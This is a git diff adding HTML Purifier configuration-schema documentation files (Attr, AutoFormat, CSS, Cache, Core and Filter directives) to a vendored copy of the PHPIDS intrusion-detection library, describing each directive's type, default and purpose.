b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt new file mode 100644 index 000000000..cfc9f904b --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt @@ -0,0 +1,7 @@ +Attr.DefaultInvalidImageAlt +TYPE: string +DEFAULT: 'Invalid image' +--DESCRIPTION-- +This is the content of the alt tag of an invalid image if the user had not +previously specified an alt attribute. It has no effect when the image is +valid but there was no alt attribute present. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt new file mode 100644 index 000000000..80296fccf --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt @@ -0,0 +1,9 @@ +Attr.DefaultTextDir +TYPE: string +DEFAULT: 'ltr' +--DESCRIPTION-- +Defines the default text direction (ltr or rtl) of the document being +parsed. This generally is the same as the value of the dir attribute in +HTML, or ltr if that is not specified. +--ALLOWED-- +'ltr', 'rtl' diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt new file mode 100644 index 000000000..358d6d07a --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt @@ -0,0 +1,15 @@ +Attr.EnableID +TYPE: bool +DEFAULT: false +VERSION: 1.2.0 +--DESCRIPTION-- +Allows the ID attribute in HTML. This is disabled by default due to the +fact that without proper configuration user input can easily break the +validation of a webpage by specifying an ID that is already on the +surrounding HTML. If you don't mind throwing caution to the wind, enable +this directive, but I strongly recommend you also consider blacklisting IDs +you use (%Attr.IDBlacklist) or prefixing all user supplied IDs +(%Attr.IDPrefix). When set to true HTML Purifier reverts to the behavior of +pre-1.2.0 versions. +--ALIASES-- +HTML.EnableAttrID diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt new file mode 100644 index 000000000..16fc46e16 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt @@ -0,0 +1,4 @@ +Attr.IDBlacklist +TYPE: list +DEFAULT: array() +DESCRIPTION: Array of IDs not allowed in the document. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt new file mode 100644 index 000000000..98f7c5a63 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt @@ -0,0 +1,8 @@ +Attr.IDBlacklistRegexp +TYPE: string/null +VERSION: 1.6.0 +DEFAULT: NULL +--DESCRIPTION-- +PCRE regular expression to be matched against all IDs. If the expression is +matches, the ID is rejected. Use this with care: may cause significant +degradation. ID matching is done after all other validation. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt new file mode 100644 index 000000000..f996c0843 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt @@ -0,0 +1,11 @@ +Attr.IDPrefix +TYPE: string +VERSION: 1.2.0 +DEFAULT: '' +--DESCRIPTION-- +String to prefix to IDs. If you have no idea what IDs your pages may use, +you may opt to simply add a prefix to all user-submitted ID attributes so +that they are still usable, but will not conflict with core page IDs. +Example: setting the directive to 'user_' will result in a user submitted +'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true +before using this. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt new file mode 100644 index 000000000..b403fa9cd --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt @@ -0,0 +1,13 @@ +Attr.IDPrefixLocal +TYPE: string +VERSION: 1.2.0 +DEFAULT: '' +--DESCRIPTION-- +Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you +need to allow multiple sets of user content on web page, you may need to +have a seperate prefix that changes with each iteration. This way, +seperately submitted user content displayed on the same page doesn't +clobber each other. Ideal values are unique identifiers for the content it +represents (i.e. the id of the row in the database). Be sure to add a +seperator (like an underscore) at the end. Warning: this directive will +not work unless %Attr.IDPrefix is set to a non-empty value! diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.txt new file mode 100644 index 000000000..fb18894fe --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.txt @@ -0,0 +1,2 @@ +Attr +DESCRIPTION: Features regarding attribute validation. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt new file mode 100644 index 000000000..e1f7a475e --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt @@ -0,0 +1,30 @@ +AutoFormat.AutoParagraph +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +
+ This directive turns on auto-paragraphing, where double newlines are + converted in to paragraphs whenever possible. Auto-paragraphing: +
+
+ p tags must be allowed for this directive to take effect.
+ We do not use br tags for paragraphing, as that is
+ semantically incorrect.
+
+ To prevent auto-paragraphing as a content-producer, refrain from using
+ double-newlines except to specify a new paragraph or in contexts where
+ it has special meaning (whitespace usually has no meaning except in
+ tags like pre, so this should not be difficult.) To prevent
+ the paragraphing of inline text adjacent to block elements, wrap them
+ in div tags (the behavior is slightly different outside of
+ the root node.)
+
+ This directive can be used to add custom auto-format injectors. + Specify an array of injector names (class name minus the prefix) + or concrete implementations. Injector class must exist. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt new file mode 100644 index 000000000..5d3e9d383 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt @@ -0,0 +1,10 @@ +AutoFormat.DisplayLinkURI +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- ++ This directive turns on the in-text display of URIs in <a> tags, and disables + those links. For example, example becomes + example (http://example.com). +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt new file mode 100644 index 000000000..554086f35 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt @@ -0,0 +1,12 @@ +AutoFormat.Linkify +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +
+ This directive turns on linkification, auto-linking http, ftp and
+ https URLs. a tags with the href attribute
+ must be allowed.
+
+ Internal auto-formatter that converts configuration directives in
+ syntax %Namespace.Directive to links. a tags
+ with the href attribute must be allowed.
+
+ When enabled, HTML Purifier will attempt to remove empty elements that + contribute no semantic information to the document. The following types + of nodes will be removed: +
+<a></a> but not
+ <br />), and
+ colgroup element, orid or name attribute,
+ when those attributes are permitted on those elements.
+ + Please be very careful when using this functionality; while it may not + seem that empty elements contain useful information, they can alter the + layout of a document given appropriate styling. This directive is most + useful when you are processing machine-generated HTML, please avoid using + it on regular user HTML. +
++ Elements that contain only whitespace will be treated as empty. Non-breaking + spaces, however, do not count as whitespace. +
++ This algorithm is not perfect; you may still notice some empty tags, + particularly if a node had elements, but those elements were later removed + because they were not permitted in that context, or tags that, after + being auto-closed by another tag, where empty. This is for safety reasons + to prevent clever code from breaking validation. The general rule of thumb: + if a tag looked empty on the way end, it will get removed; if HTML Purifier + made it empty, it will stay. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.txt new file mode 100644 index 000000000..4a7b5521f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormat.txt @@ -0,0 +1,2 @@ +AutoFormat +DESCRIPTION: Configuration for activating auto-formatting functionality (also known asInjectors)
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.PurifierLinkifyDocURL.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.PurifierLinkifyDocURL.txt
new file mode 100644
index 000000000..79d335806
--- /dev/null
+++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.PurifierLinkifyDocURL.txt
@@ -0,0 +1,12 @@
+AutoFormatParam.PurifierLinkifyDocURL
+TYPE: string
+VERSION: 2.0.1
+DEFAULT: '#%s'
+--DESCRIPTION--
+
++ Location of configuration documentation to link to, let %s substitute + into the configuration's namespace and directive names sans the percent + sign. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.txt new file mode 100644 index 000000000..0ed78846e --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/AutoFormatParam.txt @@ -0,0 +1,2 @@ +AutoFormatParam +DESCRIPTION: Configuration for customizing auto-formatting functionality diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt new file mode 100644 index 000000000..68f69902d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt @@ -0,0 +1,7 @@ +CSS.AllowImportant +TYPE: bool +DEFAULT: false +VERSION: 3.1.0 +--DESCRIPTION-- +This parameter determines whether or not !important cascade modifiers should +be allowed in user CSS. If false, !important will stripped. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt new file mode 100644 index 000000000..82ce13237 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt @@ -0,0 +1,10 @@ +CSS.AllowTricky +TYPE: bool +DEFAULT: false +VERSION: 3.1.0 +--DESCRIPTION-- +This parameter determines whether or not to allow "tricky" CSS properties and +values. Tricky CSS properties/values can drastically modify page layout or +be used for deceptive practices but do not directly constitute a security risk. +For example,display:none; is considered a tricky property that
+will only be allowed if this directive is set to true.
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt
new file mode 100644
index 000000000..82558f171
--- /dev/null
+++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt
@@ -0,0 +1,17 @@
+CSS.AllowedProperties
+TYPE: lookup/null
+VERSION: 3.1.0
+DEFAULT: NULL
+--DESCRIPTION--
+
++ If HTML Purifier's style attributes set is unsatisfactory for your needs, + you can overload it with your own list of tags to allow. Note that this + method is subtractive: it does its job by taking away from HTML Purifier + usual feature set, so you cannot add an attribute that HTML Purifier never + supported in the first place. +
++ Warning: If another directive conflicts with the + elements here, that directive will win and override. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt new file mode 100644 index 000000000..e1e599268 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt @@ -0,0 +1,11 @@ +CSS.DefinitionRev +TYPE: int +VERSION: 2.0.0 +DEFAULT: 1 +--DESCRIPTION-- + ++ Revision identifier for your custom definition. See + %HTML.DefinitionRev for details. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt new file mode 100644 index 000000000..abe08fabc --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt @@ -0,0 +1,15 @@ +CSS.MaxImgLength +TYPE: string/null +DEFAULT: '1200px' +VERSION: 3.1.1 +--DESCRIPTION-- +
+ This parameter sets the maximum allowed length on img tags,
+ effectively the width and height properties.
+ Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is
+ in place to prevent imagecrash attacks, disable with null at your own risk.
+ This directive is similar to %HTML.MaxImgLength, and both should be
+ concurrently edited, although there are
+ subtle differences in the input format (the CSS max is a number with
+ a unit).
+
+ Whether or not to allow safe, proprietary CSS values. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.txt new file mode 100644 index 000000000..060f5d371 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/CSS.txt @@ -0,0 +1,2 @@ +CSS +DESCRIPTION: Configuration regarding allowed CSS. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt new file mode 100644 index 000000000..e9fa699ae --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt @@ -0,0 +1,13 @@ +Cache.DefinitionImpl +TYPE: string/null +VERSION: 2.0.0 +DEFAULT: 'Serializer' +--DESCRIPTION-- + +This directive defines which method to use when caching definitions, +the complex data-type that makes HTML Purifier tick. Set to null +to disable caching (not recommended, as you will see a definite +performance degradation). + +--ALIASES-- +Core.DefinitionCache diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt new file mode 100644 index 000000000..3682cbb37 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt @@ -0,0 +1,13 @@ +Cache.SerializerPath +TYPE: string/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + ++ Absolute path with no trailing slash to store serialized definitions in. + Default is within the + HTML Purifier library inside DefinitionCache/Serializer. This + path must be writable by the webserver. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.txt new file mode 100644 index 000000000..2f7aaa268 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Cache.txt @@ -0,0 +1,2 @@ +Cache +DESCRIPTION: Configuration for DefinitionCache and related subclasses. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt new file mode 100644 index 000000000..552bb6df0 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt @@ -0,0 +1,17 @@ +Core.AggressivelyFixLt +TYPE: bool +VERSION: 2.1.0 +DEFAULT: true +--DESCRIPTION-- ++ This directive enables aggressive pre-filter fixes HTML Purifier can + perform in order to ensure that open angled-brackets do not get killed + during parsing stage. Enabling this will result in two preg_replace_callback + calls and at least two preg_replace calls for every HTML document parsed; + if your users make very well-formed HTML, you can set this directive false. + This has no effect when DirectLex is used. +
++ Notice: This directive's default turned from false to true + in HTML Purifier 3.2.0. +
\ No newline at end of file diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt new file mode 100644 index 000000000..dcf20563d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt @@ -0,0 +1,11 @@ +Core.CollectErrors +TYPE: bool +VERSION: 2.0.0 +DEFAULT: false +--DESCRIPTION-- + +Whether or not to collect errors found while filtering the document. This +is a useful way to give feedback to your users. Warning: +Currently this feature is very patchy and experimental, with lots of +possible error messages not yet implemented. It will not cause any +problems, but it may not help your users either. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt new file mode 100644 index 000000000..28c968210 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt @@ -0,0 +1,29 @@ +Core.ColorKeywords +TYPE: hash +VERSION: 2.0.0 +--DEFAULT-- +array ( + 'maroon' => '#800000', + 'red' => '#FF0000', + 'orange' => '#FFA500', + 'yellow' => '#FFFF00', + 'olive' => '#808000', + 'purple' => '#800080', + 'fuchsia' => '#FF00FF', + 'white' => '#FFFFFF', + 'lime' => '#00FF00', + 'green' => '#008000', + 'navy' => '#000080', + 'blue' => '#0000FF', + 'aqua' => '#00FFFF', + 'teal' => '#008080', + 'black' => '#000000', + 'silver' => '#C0C0C0', + 'gray' => '#808080', +) +--DESCRIPTION-- + +Lookup array of color names to six digit hexadecimal number corresponding +to color, with preceding hash mark. Used when parsing colors. + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt new file mode 100644 index 000000000..0f03d3aad --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt @@ -0,0 +1,13 @@ +Core.ConvertDocumentToFragment +TYPE: bool +DEFAULT: true +--DESCRIPTION-- + +This parameter determines whether or not the filter should convert +input that is a full document with html and body tags to a fragment +of just the contents of a body tag. This parameter is simply something +HTML Purifier can do during an edge-case: for most inputs, this +processing is not necessary. + +--ALIASES-- +Core.AcceptFullDocuments diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt new file mode 100644 index 000000000..392adb5a1 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt @@ -0,0 +1,17 @@ +Core.DirectLexLineNumberSyncInterval +TYPE: int +VERSION: 2.0.0 +DEFAULT: 0 +--DESCRIPTION-- + ++ Specifies the number of tokens the DirectLex line number tracking + implementations should process before attempting to resyncronize the + current line count by manually counting all previous new-lines. When + at 0, this functionality is disabled. Lower values will decrease + performance, and this is only strictly necessary if the counting + algorithm is buggy (in which case you should report it as a bug). + This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is + not being used. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt new file mode 100644 index 000000000..9bca95c7c --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt @@ -0,0 +1,14 @@ +Core.Encoding +TYPE: istring +DEFAULT: 'utf-8' +--DESCRIPTION-- +If for some reason you are unable to convert all webpages to UTF-8, you can +use this directive as a stop-gap compatibility change to let HTML Purifier +deal with non UTF-8 input. This technique has notable deficiencies: +absolutely no characters outside of the selected character encoding will be +preserved, not even the ones that have been ampersand escaped (this is due +to a UTF-8 specific feature that automatically resolves all +entities), making it pretty useless for anything except the most I18N-blind +applications, although %Core.EscapeNonASCIICharacters offers fixes this +trouble with another tradeoff. This directive only accepts ISO-8859-1 if +iconv is not enabled. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt new file mode 100644 index 000000000..cca96c601 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt @@ -0,0 +1,9 @@ +Core.EscapeInvalidChildren +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When true, a child is found that is not allowed in the context of the +parent element will be transformed into text as if it were ASCII. When +false, that element and all internal tags will be dropped, though text will +be preserved. There is no option for dropping the element but preserving +child nodes. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt new file mode 100644 index 000000000..6e02a19bb --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt @@ -0,0 +1,6 @@ +Core.EscapeInvalidTags +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When true, invalid tags will be written back to the document as plain text. +Otherwise, they are silently dropped. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt new file mode 100644 index 000000000..f8b7d38bf --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt @@ -0,0 +1,12 @@ +Core.EscapeNonASCIICharacters +TYPE: bool +VERSION: 1.4.0 +DEFAULT: false +--DESCRIPTION-- +This directive overcomes a deficiency in %Core.Encoding by blindly +converting all non-ASCII characters into decimal numeric entities before +converting it to its native encoding. This means that even characters that +can be expressed in the non-UTF-8 encoding will be entity-ized, which can +be a real downer for encodings like Big5. It also assumes that the ASCII +repetoire is available, although this is the case for almost all encodings. +Anyway, use UTF-8! diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt new file mode 100644 index 000000000..0a86d96a0 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt @@ -0,0 +1,19 @@ +Core.HiddenElements +TYPE: lookup +--DEFAULT-- +array ( + 'script' => true, + 'style' => true, +) +--DESCRIPTION-- + +
+ This directive is a lookup array of elements which should have their
+ contents removed when they are not allowed by the HTML definition.
+ For example, the contents of a script tag are not
+ normally shown in a document, so if script tags are to be removed,
+ their contents should be removed to. This is opposed to a b
+ tag, which defines some presentational changes but does not hide its
+ contents.
+
+ This parameter determines what lexer implementation can be used. The + valid values are: +
+HTMLPurifier_Lexer.
+ I may remove this option simply because I don't expect anyone
+ to use it.
+ + If true, HTML Purifier will add line number information to all tokens. + This is useful when error reporting is turned on, but can result in + significant performance degradation and should not be used when + unnecessary. This directive must be used with the DirectLex lexer, + as the DOMLex lexer does not (yet) support this functionality. + If the value is null, an appropriate value will be selected based + on other configuration. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt new file mode 100644 index 000000000..7ac86b316 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt @@ -0,0 +1,12 @@ +Core.RemoveInvalidImg +TYPE: bool +DEFAULT: true +VERSION: 1.3.0 +--DESCRIPTION-- + +
+ This directive enables pre-emptive URI checking in img
+ tags, as the attribute validation strategy is not authorized to
+ remove elements from the document. Revert to pre-1.3.0 behavior by setting to false.
+
+ This directive enables HTML Purifier to remove not only script tags + but all of their contents. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.txt new file mode 100644 index 000000000..3240014d1 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Core.txt @@ -0,0 +1,2 @@ +Core +DESCRIPTION: Core features that are always available. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt new file mode 100644 index 000000000..be67d63e0 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txt @@ -0,0 +1,10 @@ +Filter.Custom +TYPE: list +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +
+ This directive can be used to add custom filters; it is nearly the
+ equivalent of the now deprecated HTMLPurifier->addFilter()
+ method. Specify an array of concrete implementations.
+
+ This directive turns on the style block extraction filter, which removes
+ style blocks from input HTML, cleans them up with CSSTidy,
+ and places them in the StyleBlocks context variable, for further
+ use by you, usually to be placed in an external stylesheet, or a
+ style block in the head of your document.
+
+ Sample usage: +
